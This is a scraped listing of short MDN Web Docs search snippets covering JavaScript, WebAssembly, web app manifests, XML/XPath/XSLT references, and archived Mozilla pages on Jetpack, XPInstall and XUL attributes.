... class counter { constructor(element) { // remember a weak reference to a dom element this.ref = new weakref(element); this.start(); } } specifications specification weakrefsthe definition of 'weakref constructor' in that specification.
WeakSet.prototype.has() - JavaScript
the has() method returns a boolean indicating whether an object exists in a weakset or not.
... examples using the has method var ws = new weakset(); var obj = {}; ws.add(window); myset.has(window); // returns true myset.has(obj); // returns false specifications specification ecmascript (ecma-262)the definition of 'weakset.prototype.has' in that specification.
WebAssembly.Memory.prototype.grow() - JavaScript
var memory = new webassembly.memory({initial:1, maximum:10}); we can then grow the instance by one page like so: const bytesperpage = 64 * 1024; console.log(memory.buffer.bytelength / bytesperpage); // "1" console.log(memory.grow(1)); // "1" console.log(memory.buffer.bytelength / bytesperpage); // "2" note the return value of grow() here is the previous number of webassembly pages.
... specifications specification webassembly javascript interfacethe definition of 'grow()' in that specification.
WebAssembly.Memory - JavaScript
you can create a shared memory by passing shared: true in the constructor's initialization object: let memory = new webassembly.memory({initial:10, maximum:100, shared: true}); this memory's buffer property will return a sharedarraybuffer.
... specifications specification webassembly javascript interfacethe definition of 'memory' in that specification.
WebAssembly.Module.exports() - JavaScript
when the module is received, we create an instance from it using the webassembly.instantiate() method, invoke an exported function from inside it, then show how we can return information on the available exports on a module using webassembly.module.exports.
... } } }; onmessage = function(e) { console.log('module received from main thread'); var mod = e.data; webassembly.instantiate(mod, importobject).then(function(instance) { instance.exports.exported_func(); }); var exports = webassembly.module.exports(mod); console.log(exports[0]); }; the exports[0] output looks like this: { name: "exported_func", kind: "function" } specifications specification webassembly javascript interfacethe definition of 'exports()' in that specification.
WebAssembly.Module - JavaScript
a webassembly.module object contains stateless webassembly code that has already been compiled by the browser — this can be efficiently shared with workers, and instantiated multiple times.
... var importobject = { imports: { imported_func: function(arg) { console.log(arg); } } }; onmessage = function(e) { console.log('module received from main thread'); var mod = e.data; webassembly.instantiate(mod, importobject).then(function(instance) { instance.exports.exported_func(); }); }; specifications specification webassembly javascript interfacethe definition of 'webassembly.module()' in that specification.
WebAssembly.Table.prototype.get() - JavaScript
webassembly.instantiatestreaming(fetch('table.wasm')) .then(function(obj) { var tbl = obj.instance.exports.tbl; console.log(tbl.get(0)()); // 13 console.log(tbl.get(1)()); // 42 }); note how you've got to include a second function invocation operator at the end of the accessor to actually retrieve the value stored inside the reference (e.g.
... specifications specification webassembly javascript interfacethe definition of 'get()' in that specification.
isFinite() - JavaScript
you can use this function to determine whether a number is a finite number.
.../ false isfinite(nan); // false isfinite(-infinity); // false isfinite(0); // true isfinite(2e64); // true isfinite(910); // true isfinite(null); // true, would've been false with the // more robust number.isfinite(null) isfinite('0'); // true, would've been false with the // more robust number.isfinite("0") specifications specification ecmascript (ecma-262)the definition of 'isfinite' in that specification.
Addition (+) - JavaScript
the addition operator (+) produces the sum of numeric operands or string concatenation.
... syntax operator: x + y examples numeric addition // number + number -> addition 1 + 2 // 3 // boolean + number -> addition true + 1 // 2 // boolean + boolean -> addition false + false // 0 string concatenation // string + string -> concatenation 'foo' + 'bar' // "foobar" // number + string -> concatenation 5 + 'foo' // "5foo" // string + boolean -> concatenation 'foo' + false // "foofalse" specifications specification ecmascript (ecma-262)the definition of 'addition operator' in that specification.
Addition assignment (+=) - JavaScript
addition or concatenation is possible.
... syntax operator: x += y meaning: x = x + y examples using addition assignment // assuming the following variables // foo = 'foo' // bar = 5 // baz = true // number + number -> addition bar += 2 // 7 // boolean + number -> addition baz += 1 // 2 // boolean + boolean -> addition baz += false // 1 // number + string -> concatenation bar += 'foo' // "5foo" // string + boolean -> concatenation foo += false // "foofalse" // string + string -> concatenation foo += 'bar' // "foobar" specifications specification ecmascript (ecma-262)the definition of 'assignment operators' in that specification.
Bitwise AND (&) - JavaScript
numbers with more than 32 bits get their most significant bits discarded.
... examples using bitwise and // 5: 00000000000000000000000000000101 // 2: 00000000000000000000000000000010 5 & 2; // 0 specifications specification ecmascript (ecma-262)the definition of 'bitwise and expression' in that specification.
Bitwise NOT (~) - JavaScript
numbers with more than 32 bits get their most significant bits discarded.
... examples using bitwise not ~0; // -1 ~-1; // 0 ~1; // -2 specifications specification ecmascript (ecma-262)the definition of 'unary not expression' in that specification.
Bitwise OR (|) - JavaScript
numbers with more than 32 bits get their most significant bits discarded.
... examples using bitwise or // 9 (00000000000000000000000000001001) // 14 (00000000000000000000000000001110) 14 | 9; // 15 (00000000000000000000000000001111) specifications specification ecmascript (ecma-262)the definition of 'bitwise or expression' in that specification.
Bitwise XOR (^) - JavaScript
numbers with more than 32 bits get their most significant bits discarded.
... examples using bitwise xor // 9 (00000000000000000000000000001001) // 14 (00000000000000000000000000001110) 14 ^ 9; // 7 (00000000000000000000000000000111) specifications specification ecmascript (ecma-262)the definition of 'bitwise xor expression' in that specification.
Inequality (!=) - JavaScript
ue examples comparison with no type conversion 1 != 2; // true "hello" != "hola"; // true 1 != 1; // false "hello" != "hello"; // false comparison with type conversion "1" != 1; // false 1 != "1"; // false 0 != false; // false 0 != null; // true 0 != undefined; // true 0 != !!null; // false, look at logical not operator 0 != !!undefined; // false, look at logical not operator null != undefined; // false const number1 = new number(3); const number2 = new number(3); number1 != 3; // false number1 != number2; // true comparison of objects const object1 = {"key": "value"} const object2 = {"key": "value"}; object1 != object2 // true object2 != object2 // false specifications ...
... specification ecmascript (ecma-262)the definition of 'equality operators' in that specification.
Unary negation (-) - JavaScript
syntax operator: -x examples negating numbers const x = 3; const y = -x; // y = -3 // x = 3 negating non-numbers the unary negation operator can convert a non-number into a number.
... const x = "4"; const y = -x; // y = -4 specifications specification ecmascript (ecma-262)the definition of 'unary negation operator' in that specification.
debugger - JavaScript
syntax debugger; examples using the debugger statement the following example shows code where a debugger statement has been inserted, to invoke a debugger (if one exists) when the function is called.
... specifications specification ecmascript (ecma-262)the definition of 'debugger statement' in that specification.
lang - Web app manifests
WebManifestlang
it specifies the primary language for the values of the manifest's directionality-capable members, and together with dir determines their directionality.
... examples "lang": "en-us" specification specification status comment feedback web app manifestthe definition of 'lang' in that specification.
screenshots - Web app manifests
type object mandatory no the screenshots member defines an array of screenshots intended to showcase the application.
... examples "screenshots" : [ { "src": "screenshot1.webp", "sizes": "1280x720", "type": "image/webp" }, { "src": "screenshot2.webp", "sizes": "1280x720", "type": "image/webp" } ] specification specification status comment feedback web app manifestthe definition of 'screenshots' in that specification.
shortcuts - Web app manifests
a user agent can use these values to assemble a context menu to be displayed by the operating system when a user engages with the web app's icon.
... examples the following is a list of shortcuts a calendar app might have: "shortcuts" : [ { "name": "today's agenda", "url": "/today", "description": "list of events planned for today" }, { "name": "new event", "url": "/create/event" }, { "name": "new reminder", "url": "/create/reminder" } ] specification specification status comment feedback web app manifestthe definition of 'shortcuts' in that specification.
start_url - Web app manifests
type string mandatory no the start_url member is a string that represents the start url of the web application — the prefered url that should be loaded when the user launches the web application (e.g., when the user taps on the web application's icon from a device's application menu or homescreen).
... "start_url": "../startpoint.html" specification specification status comment feedback web app manifestthe definition of 'start_url' in that specification.
theme_color - Web app manifests
type string mandatory no the theme_color member is a string that defines the default theme color for the application.
... examples "theme_color": "red" specification specification status comment feedback web app manifestthe definition of 'theme_color' in that specification.
Using audio and video in HTML - Web media technologies
note: this guide is a planned update to integrate content from various scattered places on mdn into one cohesive document or document set.
...for now, some of the key information you may be looking for can be found in our learning area article on the topic.
Using images in HTML - Web media technologies
WebMediaimages
image file type and format guide a guide to the various image file types commonly supported by web browsers including details about their individual use cases, capabilities, and compatibility factors.
... mapping the width and height attributes of media container elements to their aspect-ratio this changes how browsers load images so their aspect ratios are calculated by the browser early on and can later be used to correct the display size of an image before it's loaded.
XML Index - XML: Extensible Markup Language
WebXMLIndex
it stands for extensible markup language and is a w3c recommended specification as a general purpose markup language.
... 4 xml:base html baseelement, needsspectable, svg, xml:base xml:base is like the html baseelement but can specify the base uri per element as well as the entire document.
XML: Extensible Markup Language
WebXML
it stands for extensible markup language and is a w3c recommended specification as a general purpose markup language.
... xml:basexml:base is like the html baseelement but can specify the base uri per element as well as the entire document.
attribute - XPath
WebXPathAxesattribute
the attribute axis indicates the attributes of the context node.
...this axis can be abbreviated with the at sign (@).
namespace - XPath
WebXPathAxesnamespace
(not supported) the namespace axis indicates all the nodes that are in scope for the context node.
... in this case, the context node must be an element node.
parent - XPath
WebXPathAxesparent
the parent axis indicates the single node that is the parent of the context node.
... it can be abbreviated as two periods (..).
document - XPath
notes if the uri contains a fragment identifier and that fragment can be identified in the external document, that fragment will be treated as the root in the node-set argument's expression.
... if the uri argument is a node-set, and the second argument is present, each node in the node-set will be evaluated as a separate uri, and the returned node-set will be as if the document function has been called multiple times (each time with the same second argument just as given in the function call) and the resulting node-sets had been concatenated into a single node-set.
lang - XPath
WebXPathFunctionslang
syntax lang(string ) arguments string the language code or localization (language and country) code to be matched.
...if the language cannot be determined (no ancestor has an xml:lang attribute), this function will return false.
<xsl:attribute> - XSLT: Extensible Stylesheet Language Transformations
xslt/xpath reference: xslt elements, exslt functions, xpath functions, xpath axes the <xsl:attribute> element creates an attribute in the output document, using any values that can be accessed from the stylesheet.
...you cannot set the related namespace prefix with this element.
<xsl:stylesheet> - XSLT: Extensible Stylesheet Language Transformations
typically this is xmlns:xsl="http://www.w3.org/1999/xsl/transform".
... specifications specification status comment xslt 3.0the definition of '<xsl:stylesheet>' in that specification.
Window: deviceproximity event - Archive of obsolete content
bubbles no cancelable no interface deviceproximityevent target defaultview (window) default action none event handler property window.ondeviceproximity specification proximity sensor other properties property type description value read only double (float) the measured proximity of the distant device (distance in centimetres).
content/content - Archive of obsolete content
deprecated in firefox 32.
frame/utils - Archive of obsolete content
usage module exports create function that takes the nsidomdocument of a privileged document and creates a browser element in its documentelement: let { open } = require('sdk/window/utils'); let { create } = require('sdk/frame/utils'); let window = open('data:text/html,foo'); let frame = create(window.document); optionally create can be passed set of options to configure created frame even further.
fs/path - Archive of obsolete content
experimental provides access to the local filesystem with the nodejs path module api.
loader/cuddlefish - Archive of obsolete content
deprecated in firefox 38.
preferences/event-target - Archive of obsolete content
you can also use the simple-prefs module to access just the preferences for your own add-on and expose them to the user in the add-on manager.
system/environment - Archive of obsolete content
usage var { env } = require('sdk/system/environment'); you can get the value of an environment variable, by accessing the property with the name of the desired variable: var path = env.path; you can check for the existence of an environment variable by checking whether a property with that variable name exists: console.log('path' in env); // true console.log('foo' in env); // false you can set the value of an environment variable by setting the property: env.foo = 'foo'; env.path += ':/my/path/' you can unset an environment variable by deleting the property: delete env.foo; limitations there is no way to enumerate existing environment variables, also env won't have any enumerable properties: console.log(object.keys(env)); // [] e...
system/runtime - Archive of obsolete content
processtype the type of the caller's process, which will be one of these constants: constant value description process_type_default 0 the default (chrome) process.
util/uuid - Archive of obsolete content
generate uuid to generate a new uuid, call uuid() with no arguments: let uuid = require('sdk/util/uuid').uuid(); parsing uuid to convert a string representation of a uuid to an nsid, pass the string representation to uuid(): let { uuid } = require('sdk/util/uuid'); let firefoxuuid = uuid('{ec8030f7-c20a-464f-9b0e-13a3a9e97384}'); globals functions uuid(stringid) generate a new uuid, or convert a string representation of a uuid to an nsid.
Add a Menu Item to Firefox - Archive of obsolete content
but it's extensible by design, so anyone can build and publish modules for add-on developers to use.
Cookies - Archive of obsolete content
reading existing cookies cookies for a given host, represented as nsicookie2 objects, can be enumerated as such: let enum = services.cookies.getcookiesfromhost("example.com"); while (enum.hasmoreelements()) { var cookie = enum.getnext().queryinterface(ci.nsicookie2); dump(cookie.host + ";" + cookie.name + "=" + cookie.value + "\n"); } all cookies, regardless of host, can be enumerated using services.cookies.enumerator rather than getcookiesfromhost().
Embedding SVG - Archive of obsolete content
svg is an xml based makeup language and can be embedded into other markup languages, like xhtml and xul.
URI parsing - Archive of obsolete content
when dealing with the facilities of nsiuri, the task of parsing a uri can still require additional work.
Extension Library - Archive of obsolete content
this page was auto-generated because a user created a sub-page to this page.
Extension Samples - Archive of obsolete content
this page was auto-generated because a user created a sub-page to this page.
Firefox addons developer guide - Archive of obsolete content
next » introduction to extensions technologies used in developing extensions introduction to xul—how to build a more intuitive ui using xpcom—implementing advanced processes let's build a firefox extension firefox extensions and xul applications license and authors next » ...
XUL School Tutorial - Archive of obsolete content
introduction introduction getting started with firefox extensions the essentials of an extension setting up a development environment javascript object management basic functionality adding menus and submenus adding toolbars and toolbar buttons adding events and commands adding windows and dialogs adding sidebars user notifications and alerts intermediate functionality intercepting page loads connecting to remote content handling preferences local storage advanced topics the box model xpcom objects observer notifications custom xul elements with xbl mozilla documentation roadmap useful mozilla community sites appendices appendix a: add-on performance appendix b: instal...
bookmarks.export() - Archive of obsolete content
syntax browser.bookmarks.export( function() {...} // optional function ) parameters callbackoptional function.
bookmarks.import() - Archive of obsolete content
syntax browser.bookmarks.import( function() {...} // optional function ) parameters callbackoptional function.
DOMSubtreeModified - Archive of obsolete content
this event has been deprecated in favor of the mutation observer api this event can cause infinite loops if you decide to change the dom inside the event handler, hence it has been disabled in a number of browsers (see domattrmodified and domsubtreemodified events are no longer fired when style attribute is changed via cssom for example).
chargingchange - Archive of obsolete content
general info specification battery interface event bubbles no cancelable no target batterymanager default action none properties the event callback doesn't receive any event objects, but properties can be read from the batterymanager object received from the navigator.getbattery method.
chargingtimechange - Archive of obsolete content
general info specification battery interface event bubbles no cancelable no target batterymanager default action none properties the event callback doesn't receive any event objects, but properties can be read from the batterymanager object received from the navigator.getbattery method.
dischargingtimechange - Archive of obsolete content
general info specification battery interface event bubbles no cancelable no target batterymanager default action none properties the event callback doesn't receive any event objects, but properties can be read from the batterymanager object received from the navigator.getbattery method.
Events - Archive of obsolete content
archived event pages domsubtreemodifiedmozaudioavailablemozbeforeresizemozorientationcachedchargingchangechargingtimechangecheckingdischargingtimechangedownloadingerrorlevelchangenoupdateobsoleteprogressupdateready ...
Makefile - .mk files - Archive of obsolete content
l build config/android-common.m config/autoconf.mk config/rules.mk targets (export, deps, libs, tools) and generic build rules config/static-checking-config.mk config/version.mk makefile description config/myconfig.mk user defined build configuration values config/myrules.mk user defined makefile rules for building $(topsrcdir)/$(moz_build_app)/app-config.mk application specific build configuration ...
IO Guide - Archive of obsolete content
this page was auto-generated because a user created a sub-page to this page.
Enabling quicklaunch for all users - Archive of obsolete content
this can be performed automatically by including the following command into the windows logon script: regedit /s \\server\netlogon\reg\quicklaunch.reg ...
Other Mozilla customization pages - Archive of obsolete content
this because the program was developped for mozilla configuration in a german administration with about 2000 users.
Build - Archive of obsolete content
this page was auto-generated because a user created a sub-page to this page.
Building TransforMiiX standalone - Archive of obsolete content
this will pull the necessary subtree with mozilla/client.mk mozilla/build/unix/modules.mk mozilla/build mozilla/config mozilla/expat mozilla/extensions/transformiix mozilla/include mozilla/allmakefiles.sh mozilla/client.mk mozilla/aclocal.m4 mozilla/configure mozilla/configure.in mozilla/makefile.in plus nspr and xpcom from the cvs repository.
Specifying the appearance - Archive of obsolete content
us.png"); } statusbarpanel#tinderbox-status[status="success"] { list-style-image: url("chrome://navigator/content/tb-success.png"); } statusbarpanel#tinderbox-status[status="testfailed"] { list-style-image: url("chrome://navigator/content/tb-testfailed.png"); } statusbarpanel#tinderbox-status[status="busted"] { list-style-image: url("chrome://navigator/content/tb-busted.png"); } mozilla can have multiple sets of stylesheets that govern its appearance, and we don't want to have to add these rules to each set (and have our extension break when a new set gets installed), so we'll put this stylesheet in a file called tinderstatus.css in the same directory as navigator.xul and reference it at the top of that file right under the global stylesheet reference: <?xml-stylesheet href="chrome...
chrome.manifest - Archive of obsolete content
copy the following text and paste it into a text file, then save that file as "chrome.manifest": skin global my_theme jar:chrome/my_theme.jar!/global/ skin mozapps my_theme jar:chrome/my_theme.jar!/mozapps/ skin messenger my_theme jar:chrome/my_theme.jar!/messenger/ skin messenger-newsblog my_theme jar:chrome/my_theme.jar!/messenger-newsblog/ skin communicator my_theme jar:chrome/my_theme.jar!/communicator/ skin help my_theme jar:chrome/my_theme.jar!/help/ skin navigator my_theme jar:chrome/my_theme.jar!/navigator/ skin editor my_theme jar:chrome/my_theme.jar!/editor/ ...
install.rdf - Archive of obsolete content
copy the following text and paste it into a text file, then save that file as "install.rdf": <?xml version="1.0"?> <rdf xmlns="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:em="http://www.mozilla.org/2004/em-rdf#"> <description about="urn:mozilla:install-manifest"> <em:id>author@oftheme.com</em:id> <em:version>2.0b1</em:version> <!-- seamonkey --> <em:targetapplication> <description> <em:id>{92650c4d-4b8e-4d2a-b7eb-24ecf4f6b63a}</em:id> <em:minversion>2.0b1pre</em:minversion> <em:maxversion>2.0b2pre</em:maxversion> </description> </em:targetapplication> <!-- front end metadata --> <em:name>my_theme</em:name> <em:description>my first theme</em:description> <!-- front end integration hooks (used by the...
Fast Graphics Performance With HTML - Archive of obsolete content
use <div style="overflow:scroll><div style="background:white"><p>this is some text</p><p>and some more</p></div></div> instead of <div style="overflow:scroll><p>this is some text</p><p>and some more</p></div> animating 'transform' and 'opacity' properties can be done with the compositor which makes them efficient to animate ...
Multiple Firefox profiles - Archive of obsolete content
this page was auto-generated because a user created a sub-page to this page.
Firefox - Archive of obsolete content
it can be helpful to know exactly what these refer to.
Force RTL - Archive of obsolete content
(this is a temporary placeholder/stub for the force rtl page) download force rtl making sure your theme works with rtl locales ehsan's force rtl page ...
Isp Data - Archive of obsolete content
this page will explain how to create a .rdf or .xml file that you can place in the $installfolder/default/isp to do a variety of things.
Tabs - Archive of obsolete content
ArchiveMozillaJetpackUITabs
in this class you can find information about the tabs in your firefox window.
UI - Archive of obsolete content
menu accessing, modifying, and creating menus in the browser slidebar ui mechanism for displaying jetpack content in a slide-out animated vertical column toolbar including entries and access elements into the toolbar panel a movable, expandable, and custom styled content element to display jetpack content tabs adding events and interacting with browser tabs and their contained documents statusbar low-level functions and basic calls notifications a system for alerting use...
Dropbox - Archive of obsolete content
ArchiveMozillaJetpackUsersazaDropbox
this page was auto-generated because a user created a sub-page to this page.
aza - Archive of obsolete content
ArchiveMozillaJetpackUsersaza
this page was auto-generated because a user created a sub-page to this page.
Users - Archive of obsolete content
this page was auto-generated because a user created a sub-page to this page.
Meta - Archive of obsolete content
ArchiveMozillaJetpackdocsMeta
this page was auto-generated because a user created a sub-page to this page.
Storage - Archive of obsolete content
this page was auto-generated because a user created a sub-page to this page.
System - Archive of obsolete content
this page was auto-generated because a user created a sub-page to this page.
UI - Archive of obsolete content
ArchiveMozillaJetpackdocsUI
this page was auto-generated because a user created a sub-page to this page.
docs - Archive of obsolete content
this page was auto-generated because a user created a sub-page to this page.
statusBar - Archive of obsolete content
you can find the complete sourcecode in the status-bar-panel.js file in your jetpack repository.
statusBar - Archive of obsolete content
this page was auto-generated because a user created a sub-page to this page.
Jetpack - Archive of obsolete content
get started visit the getting started tutorial download the add-on sdk (formerly called the jetpack sdk) documentation check out the documentation, including tutorials, examples, guides, and api reference join the jetpack community follow jetpack on the mozilla add-ons blog report a bug check out the open bugs discuss jetpack grab the source code join us in #jetpack on irc.mozilla.org ...
Plug-n-Hack Phase2 - Archive of obsolete content
the next phase of plug-n-hack (pnh) is still being planned but is intended to allow browsers to advertise their capabilities to security tools.
BlogPosts - Archive of obsolete content
oogle reader, and google notebook distraction free gtd - 32+ web app files for online todo lists mozilla webrunner: a one-window, tabless browser with no url bar webrunner becomes prism - a mozilla labs project mozilla labs: prism alex faaborg: prism mozilla prism: bringing web apps to the desktop everyone should use site specific browsers mozilla prism portable (spanish) prism, l'avenir des applications web selon mozilla (french) mozilla prism : bundle custom google reader + talk (french) just browsing: site-specific browsers ...
RDF API - Archive of obsolete content
this page was auto-generated because a user created a sub-page to this page.
Rsyncing the CVS Repository - Archive of obsolete content
the mozilla.org cvs repository can be downloaded via rsync.
String Rosetta Stone - Archive of obsolete content
::const_iterator end, nsstringcomparator& acomparator = nsdefaultstringcomparator()) std::string size_type find(const basic_string& s, size_type pos = 0) const size_type find(const chart* s, size_type pos, size_type n) const size_type find(const chart* s, size_type pos = 0) const size_type find(chart c, size_type pos = 0) const qstring int qstring::indexof ( const qstring & str, int from = 0, qt::casesensitivity cs = qt::casesensitive ) const format a printf style string nsstring appendprintf() std::string n/a qstring qstring & qstring::sprintf ( const char * cformat, ...
Tamarin - Archive of obsolete content
this page is a how-to about the changes, and what can be done to adapt source code to the changes.
Transforming XML with XSLT:Mozilla XSLT - Archive of obsolete content
this page was auto-generated because a user created a sub-page to this page.
Treehydra Build Instructions - Archive of obsolete content
this automatically builds treehydra for you.
URIScheme - Archive of obsolete content
moz-icon://.ext?size=32 : you can replace ext by your some file extension like js, css, xul, xml, etc.
Uriloader - Archive of obsolete content
overview of a uri load up though dispatch to a content handler helper application tech talk mime type determination in mozilla overview of how downloads work ...
Install.addFile - Archive of obsolete content
var xpisrc = "file.txt"; initinstall( "adding a file", "testfile", "1.0.1.7", 1); f = getfolder("program"); setpackagefolder(f); addfile(xpisrc); if (0 == getlasterror()) performinstall(); else cancelinstall(); ...
InstallTrigger.installChrome - Archive of obsolete content
installtrigger.installchrome trigger scripts are typically invoked by javascript event handlers on hyperlinks.
InstallTrigger.startSoftwareUpdate - Archive of obsolete content
installtrigger.startsoftwareupdate this is a very simple example of the installtrigger object's principal method, startsoftwareupdate, which takes a string representing the path to the xpi and installs that xpi on the local machine.
copy - Archive of obsolete content
description the destination can be a directory or a filename.
dirRemove - Archive of obsolete content
recursive an optional boolean value indicating whether the remove operation is to be performed recursively (1) or not (0).
exists - Archive of obsolete content
exists returns a value indicating whether the specified file or directory exists.
modDateChanged - Archive of obsolete content
returns a boolean value indicating whether the file has been modified since the input date or has not.
move - Archive of obsolete content
move moves a file from one location to another.
windowsGetShortName - Archive of obsolete content
method of file object syntax string windowsgetshortname( object localdirspec ) parameters the windowsregisterserver method has the following parameter: localdirspec a filespecobject representing a directory obtained by getcomponentfolder or getfolder.
windowsRegisterServer - Archive of obsolete content
method of file object syntax int windowsregisterserver( object localdirspec ) parameters the windowsregisterserver method has the following parameters: localdirspec a filespecobject representing a directory obtained by getcomponentfolder or getfolder.
windowsShortcut - Archive of obsolete content
can be either .ico, .dll, .exe, or any other binary file that contains icons.
init - Archive of obsolete content
when maj, min, rev, and bld are provided as parameters, all four parameters are required, but all of them can be zero.
getWinRegistry - Archive of obsolete content
once you have this object, you can call its methods to retrieve or change the registry's content.
logComment - Archive of obsolete content
description the install log is created in the product directory by default (where the browser executable is) if it can be, and if the installation doesn't have proper permission, the install log is written to the user's profile directory.
getString - Archive of obsolete content
example to get the name of the wallpaper file from the desktop section of the win.ini file, use this call: ini = getwinprofile (getfolder("windows"), "win.ini"); var wallpapervalue = ini.getstring ("desktop", "wallpaper"); ...
Methods - Archive of obsolete content
the majority of this api is now deprecated and as of gecko 1.9 no longer available.
deleteKey - Archive of obsolete content
method of winreg object syntax int deletekey ( string subkey); parameters the method has the following parameters: subkey the key path to the appropriate location in the key hierarchy, such as "software\\netscape\\navigator\\mail".
deleteValue - Archive of obsolete content
method of winreg object syntax int deletevalue ( string subkey, string valname); parameters the deletevalue method has the following parameters: subkey the key path to the appropriate location in the key hierarchy, such as "software\\netscape\\navigator\\mail".
getValueNumber - Archive of obsolete content
method of winreg object syntax number getvaluenumber ( string subkey, string valname); parameters the getvaluestring method has the following parameters: subkey the key path to the appropriate location in the key hierarchy, such as "software\\netscape\\navigator\\mail".
getValueString - Archive of obsolete content
method of winreg object syntax string getvaluestring ( string subkey, string valname); parameters the getvaluestring method has the following parameters: subkey the key path to the appropriate location in the key hierarchy, such as "software\\netscape\\navigator\\mail".
isKeyWritable - Archive of obsolete content
example winreg = getwinregistry(); if ( winreg != null ) { winreg.setrootkey ( winreg.hkey_local_machine ); if(winreg.iskeywritable("software")) { //iskeywritable returned true } else { //iskeywritable returned false } ...
keyExists - Archive of obsolete content
example winreg = getwinregistry(); if ( winreg != null ) { winreg.setrootkey( winreg.hkey_local_machine); if(winreg.keyexists("software\\mozilla")) { //keyexists returned true } else { //keyexists returned false } } ...
setRootKey - Archive of obsolete content
the values you can use are: hkey_classes_root hkey_current_user hkey_local_machine hkey_users example to use the hkey_users section, use these statements: winreg = getwinregistry(); winreg.setrootkey(winreg.hkey_users); ...
setValueNumber - Archive of obsolete content
method of winreg object syntax int setvaluenumber ( string subkey, string valname, number value ); parameters the method has the following parameters: subkey the key path to the appropriate location in the key hierarchy, such as "software\\netscape\\navigator\\mail".
setValueString - Archive of obsolete content
method of winreg object syntax int setvaluestring ( string subkey, string valname, string value); parameters the method has the following parameters: subkey the key path to the appropriate location in the key hierarchy, such as "software\\netscape\\navigator\\mail".
valueExists - Archive of obsolete content
example winreg = getwinregistry(); if ( winreg != null ) { winreg.setrootkey( winreg.hkey_local_machine); if(winreg.valueexists("software\\mozilla", "value name")) { //valueexists returned true } else { //valueexists returned false } } ...
Methods - Archive of obsolete content
the majority of this api is now deprecated and as of gecko 1.9 no longer available.
XRE - Archive of obsolete content
not all pages have to have categories, please leave this uncategorized for now, thanks.
Rich Web - Archive of obsolete content
this page was auto-generated because a user created a sub-page to this page.
movetoclick - Archive of obsolete content
« xul reference home movetoclick type: boolean if true, clicking the slide area of the scale moves the thumb directly to that position.
acceltext - Archive of obsolete content
« xul reference home acceltext type: string text that appears beside the menu label to indicate the shortcut key (accelerator key) to use to invoke the command.
alternatingbackground - Archive of obsolete content
you can use the :-moz-tree-row css style to do this instead.
autocompletesearch - Archive of obsolete content
file (linux only) the local file system is searched.
checkbox.src - Archive of obsolete content
you can have both an image and a label.
checked - Archive of obsolete content
« xul reference home checked type: boolean indicates whether the element is checked or not.
clicktoscroll - Archive of obsolete content
if false, the mouse must be hovered over the arrows to scroll automatically.
closebutton - Archive of obsolete content
you can set an image to the "new tab" and "close" buttons by applying them to the tabs-newbutton and tabs-closebutton classes respectively.
closemenu - Archive of obsolete content
« xul reference home closemenu type: one of the values below indicates if the menu closes when the menuitem is activated.
color - Archive of obsolete content
you can assign a string of the form #rrggbb to this property to change the selected color.
commandupdater - Archive of obsolete content
typically, this is used to update menu commands such as undo and cut based on when an event occurs.
panel.consumeoutsideclicks - Archive of obsolete content
« xul reference home consumeoutsideclicks type: boolean controls whether or not the event that caused the popup to be automatically dismissed (or "rolled up") should be consumed or be dispatched as a normal event.
container - Archive of obsolete content
« xul reference home container type: boolean set to true if the element is to act as a container which can have child elements.
context - Archive of obsolete content
you can use the special value '_child' to indicate the first menupopup child of the element.
current - Archive of obsolete content
this is typically used by a theme to customize the focus ring.
customindex - Archive of obsolete content
the value is updated automatically by the toolbar customization dialog.
defaultButton - Archive of obsolete content
typically, this means that the button will be activated when the enter key is pressed.
disableKeyNavigation - Archive of obsolete content
« xul reference home disablekeynavigation type: boolean if this attribute is not used, the user can navigate to specific items within the element by pressing keys corresponding to letters in the item's label.
disablechrome - Archive of obsolete content
this is used to hide chrome when showing in-browser ui such as the about:addons page, and causes the toolbars to be hidden, with only the tab strip (and, if currently displayed, the add-on bar) left showing.
dragging - Archive of obsolete content
this attribute is set automatically; you shouldn't adjust it yourself.
droppedLinkHandler - Archive of obsolete content
« xul reference home droppedlinkhandler type: function this function is called when links are dropped to the browser element, with the following arguments.
editable - Archive of obsolete content
« xul reference home editable type: boolean indicates that the value of the menulist can be modified by typing directly into the value field.
editor.type - Archive of obsolete content
the window for the primary content can be retrieved more conveniently using window.content.
element - Archive of obsolete content
« xul reference home element type: id the id of the broadcaster element that the observer is observing.
emptytext - Archive of obsolete content
« xul reference home emptytext deprecated since gecko 2 type: string a string that appears in the textbox when it has no value.
fadein - Archive of obsolete content
this typically means that the tab is in the process of appearing or disappearing.
firstdayofweek - Archive of obsolete content
the default value is determined by the locale, so only use this attribute if you want to override it.
flags - Archive of obsolete content
dont-build-content: this flag may be used on a tree to indicate that content elements should not be generated.
group - Archive of obsolete content
only one button from each group can be checked at a time.
hideheader - Archive of obsolete content
« xul reference home hideheader type: boolean set this to true to indicate that the tree column header should be displayed without any column header styling.
hideseconds - Archive of obsolete content
« xul reference home hideseconds type: boolean indicates whether to show the seconds field.
homepage - Archive of obsolete content
you can switch to this home page using the gohome method.
iframe.transparent - Archive of obsolete content
this can be used to workaround things like bug 540911 ...
image.onload - Archive of obsolete content
« xul reference home image.onload type: script code this event handler will be called on the image element when the image has finished loading.
increment - Archive of obsolete content
« xul reference home increment type: integer the amount by which the curpos (for scroll bars) or value (for number boxes and scale) attribute changes when the arrows are clicked(or scales are dragged).
insertafter - Archive of obsolete content
this value may be a comma-separated list of ids, which are scanned and the first one found in the window is used.
insertbefore - Archive of obsolete content
this value may be a comma-separated list of ids, which are scanned and the first one found in the window is used.
inverted - Archive of obsolete content
« xul reference home inverted type: boolean for boolean preferences, if this attribute is set to true, it indicates that the value of the preference is the reverse of the user interface element attached to it.
iscontainer - Archive of obsolete content
« xul reference home iscontainer type: boolean indicates whether rules match based on containment.
isempty - Archive of obsolete content
« xul reference home isempty type: boolean indicates whether rules match based on emptyness.
linkedpanel - Archive of obsolete content
this might be used to avoid duplication by linking several tabs to one panel with slight differences to the content adjusted in the select event.
listitem.type - Archive of obsolete content
« xul reference home type type: string you can make an item in a listbox a checkbox by setting this attribute to the value checkbox.
maxrows - Archive of obsolete content
a scrollbar will appear so the user can scroll through the remaining items.
menuitem.name - Archive of obsolete content
only one menuitem in each radio group can be checked at a time.
minresultsforpopup - Archive of obsolete content
this can be used to display additional items that are not autocomplete results.
multiple - Archive of obsolete content
« xul reference home multiple type: boolean set to true to indicate that the value contains multiple values separated by commas.
negate - Archive of obsolete content
« xul reference home negate type: boolean set to true to indicate that the comparison should be reversed.
next - Archive of obsolete content
ArchiveMozillaXULAttributenext
this can be used to create wizards that do not have a linear sequence.
noautohide - Archive of obsolete content
« xul reference home noautohide type: boolean if this attribute is set to false or omitted, the tooltip will automatically disappear after a few seconds.
